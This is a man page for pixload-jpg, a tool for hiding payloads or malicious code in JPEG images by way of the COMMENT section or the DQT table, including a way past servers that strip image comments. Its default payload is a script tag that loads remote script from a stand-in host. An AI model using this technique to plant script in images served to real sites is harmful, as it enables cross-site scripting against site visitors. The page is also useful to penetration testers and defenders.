NAME

pixload-jpg - hide payload/malicious code in JPEG images

SYNOPSIS

pixload-jpg [OPTION]... FILE

DESCRIPTION

pixload-jpg creates a JPEG Image with payload, or injects payload into existing image.

The payload can be injected into COMMENT section or DQT table.

OPTIONS

Mandatory arguments to long options are mandatory for short options too.

-S, --section COM|DQT

Inject payload into COMMENT section or DQT table.

In case if payload is injected into COMMENT section, if the output FILE exists, then payload will be injected into the existing file. Otherwise, the new one will be created.

In case if payload is injected into DQT table, the output FILE will be overwritten. Also, note that DQT injecting has a few limitations:

1. Payload size must not exceed 64 bytes.

2. As mentioned above, there is no injection support into existing file: the new FILE will be created.

DQT injection must come in handy in case when the server application processes images and removes comments, application-specific data, etc.

Default is COM.

-P, --payload STRING

Set payload for injection. Default is <script src=//example.com></script>.

-v, --version

Print version and exit.

-h, --help

Print help and exit.

EXAMPLES
